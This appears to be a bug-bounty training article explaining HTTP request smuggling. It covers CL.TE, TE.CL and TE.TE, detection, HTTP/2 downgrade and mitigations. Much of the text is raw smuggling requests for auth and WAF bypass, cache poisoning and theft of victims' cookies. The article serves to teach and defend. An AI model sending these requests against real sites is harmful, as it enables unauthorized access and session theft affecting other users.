Advanced levelWith account

HTTP Request Smuggling — CL.TE, TE.CL, TE.TE and caching exploitation

When the frontend and the backend interpret the same request differently. Smuggling for auth bypass, cache poisoning, victim-aware attacks.

Gorka El BochiMay 9, 202614 min

Quick answer

HTTP Request Smuggling happens when a proxy (frontend) and the backend server interpret the same HTTP request differently due to differences in how they process Content-Length and Transfer-Encoding. The attacker "smuggles" a second request inside the first one, which the backend processes as if it came from another client. Vectors: auth/WAF bypass, cache poisoning, stealing victim cookies, persistent XSS.


The three classes

ClassFrontend usesBackend usesCharacteristic
CL.TEContent-LengthTransfer-EncodingFrontend honors CL, backend honors TE
TE.CLTransfer-EncodingContent-LengthFrontend honors TE, backend honors CL
TE.TETransfer-EncodingTransfer-Encoding (with obfuscation)Both honor TE but one "breaks" with a malformed header

CL.TE explained

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Frontend reads Content-Length: 13 → the body is 13 bytes (0\r\n\r\nSMUGGLED). It forwards those 13 bytes to the backend.
  • Backend reads Transfer-Encoding: chunked → the body ends at 0\r\n\r\n. It processes only 0\r\n\r\n as request 1. The "SMUGGLED" stays in the backend's buffer as the start of the next request.

The next legitimate request from any victim is concatenated with SMUGGLED, forming a "nested" request that the backend processes as if the victim had sent it.


TE.CL explained

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


  • Frontend processes TE → the full body is 8\r\nSMUGGLED\r\n0\r\n\r\n. It forwards everything.
  • Backend processes CL → the body is only 3 bytes (8\r\n). The rest stays in the buffer.

The "SMUGGLED" waits to be concatenated with the next legitimate request.


TE.TE — Transfer-Encoding obfuscation

Both honor TE, but a malformed variant makes one of them ignore it:

http
Transfer-Encoding: chunked
Transfer-Encoding: x

POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
Transfer-encoding: chunked
Transfer-Encoding : chunked
TRANSFER-Encoding: chunked
Transfer-Encoding:chunked

Variants:

  • Space before the : (Apache ignores it, others don't).
  • Mixed casing (some parsers normalize, others don't).
  • Multiple TE headers (some take the first, others the last).
  • No space after the :.

If the frontend accepts Transfer-Encoding: chunked but the backend rejects it over some detail, you're back to CL.TE. And vice versa.


Detection with Burp

bash
# Burp Suite has built-in HTTP Request Smuggler extension
# Manual con Burp Repeater:

POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked

1
A
0


If it responds 200 → CL.TE (the backend processed only the valid chunk). If it responds 400 / timeout → something else.

Time-based detection if the response doesn't change:

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

CL.TE: the backend waits for more data (5-10s timeout). CL/CL: the backend processes instantly.


Typical impacts

1. WAF / auth bypass in headers

http
POST /benign HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.tld
X-Bypass-Auth: yes
Foo: bar

The WAF/proxy sees /benign and passes it. The backend processes the smuggled /admin with the added X-Bypass-Auth: yes header, which is only valid if it comes from an internal IP (which the attacker doesn't have). But since the smuggled request "comes from the proxy" (which is internal), the header passes.

2. Cache poisoning

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: target.tld
X-Original-Url: /admin/dashboard

If the backend has an endpoint that processes X-Original-Url, the admin dashboard response is cached in the CDN under the URL /home. Any visitor to /home sees the dashboard.

3. Stealing victim cookies

Smuggled request that logs the headers that arrive:

http
POST /reflect-headers HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /api/log-headers HTTP/1.1
Host: target.tld
Foo: bar

When a legitimate victim sends their next request, their headers (including Cookie: session=...) get concatenated with the smuggled one. The backend sees a "victim-augmented" request and logs them. The attacker captures them.

Special case: redirect the victim to an attacker-owned endpoint where their cookies are logged into a public log.

4. Persistent "victim-aware" stored XSS

The smuggled request POSTs malicious HTML that gets stored in the victim's context.


Vulnerable versions and contexts

  • AWS ALB / Classic ELB old versions (patched).
  • HAProxy versions with specific bugs.
  • Cloudflare has had TE.TE cases.
  • Akamai legacy.
  • Custom proxies poorly implemented are the most common in bug bounty.

Every provider that publishes patches → public research to identify affected versions.


Advanced detection — HTTP/2 downgrade

HTTP/2 → HTTP/1.1 downgrade at the proxy reopens vectors. HTTP/2 separates headers per field, there's no ambiguity. But when downgrading to HTTP/1.1 for the backend, the proxy recombines headers. If it combines them wrong:

yaml
HTTP/2 with header: x-foo: bar\r\nContent-Length: 0
Downgrade to HTTP/1.1:
x-foo: bar
Content-Length: 0
[more headers...]
[body]

CRLF injection via HTTP/2 headers → full-blown smuggling.


Tooling

  • Burp Suite HTTP Request Smuggler extension (free, automates detection).
  • smuggler.py (defparam's Python script).
  • h2cSmuggler for HTTP/2 → 1.1 downgrades.

Hunting checklist

  • Is there a reverse proxy / CDN in front of the backend? (likely if it's a SaaS app).
  • Is the response of a POST with Transfer-Encoding: chunked coherent?
  • With both Content-Length and Transfer-Encoding sent, which one does each layer honor?
  • Does time-based detection show a timeout on CL.TE?
  • Try obfuscated TE headers (spaces, casing, doubles)?
  • Is there an HTTP/2 → 1.1 downgrade at the proxy?
  • Is the cache affected by smuggled requests?

Correct mitigation

  1. HTTP/2 end-to-end without downgrade.
  2. Same HTTP parser in frontend and backend (e.g., nginx + nginx, not nginx + custom Node.js).
  3. Reject requests with both Content-Length and Transfer-Encoding.
  4. Strict header parsing that normalizes pre-forward.
  5. Mandatory http_version 1.1 on the backend if there's an HTTP/1.0 frontend.
  6. WAF rules specific to detecting smuggling patterns.

Practice CL.TE, TE.CL, TE.TE and cache poisoning via smuggling: HTTP Smuggling labs.

Practice this in a lab

Http Smuggling

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy